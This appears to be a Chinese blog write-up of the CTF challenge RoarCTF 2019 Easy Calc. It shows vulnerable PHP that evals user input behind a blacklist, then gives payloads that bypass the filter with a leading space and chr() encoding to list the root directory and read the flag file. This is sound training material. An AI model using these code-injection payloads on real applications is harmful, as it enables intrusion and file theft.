BUUCTF [RoarCTF 2019] Easy Calc

原创

Senimo_ 于 2020-03-29 23:29:31 发布 395 收藏 1

分类专栏： BUUCTF WEB Writeup 文章标签： BUUCTF

本文链接：https://blog.csdn.net/weixin_44037296/article/details/105188575

BUUCTF [RoarCTF 2019] Easy Calc

启动靶机，打开页面：

一个简单的计算器页面，查看网页源码：

```
22 </div>
23 <!--I've set up WAF to ensure security.-->
24 <script>
```

提示设置了**WAF**以确保安全，尝试访问`calc.php`：

```php
<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>
```


得到了**WAF**源码，分析代码：

1. 需要传入变量`num`的值
2. 设置了一系列`黑名单`的值
3. 如果传入的变量`num`中有黑名单包括的符号，将终止程序
4. 否则将输出`num`的内容

根据**PHP**的解析规则：**如果变量前面有空格，会去掉前面的空格再解析**

WAF限制了参数`num`，将传入的参数`'num'`前添加`空格`，即`'? num'`可绕过**WAF**的判断，将字符`/`使用`char(47)`表示：

```
? num=1;var_dump(scandir(chr(47)))
```

```
1array(24) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]=> string(3) "bin" [4]=> string(4) "boot" [5]=> string(3) "dev" [6]=> string(3) "etc" [7]=> string(5) "f1agg" [8]=> string(4) "home" [9]=> string(3) "lib" [10]=> string(5) "lib64" [11]=> string(5) "media" [12]=> string(3) "mnt" [13]=> string(3) "opt" [14]=> string(4) "proc" [15]=> string(4) "root" [16]=> string(3) "run" [17]=> string(4) "sbin" [18]=> string(3) "srv" [19]=> string(8) "start.sh" [20]=> string(3) "sys" [21]=> string(3) "tmp" [22]=> string(3) "usr" [23]=> string(3) "var" }
```

在返回的文件中有`f1agg`文件，将其转化为`ASCII`编码，使用`file_get_contents()`函数读取文件：

```
? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
```

```
1string(43) "flag{c47f8326-7cc7-483f-841c-29c35dae8c2c} "
```

得到`flag`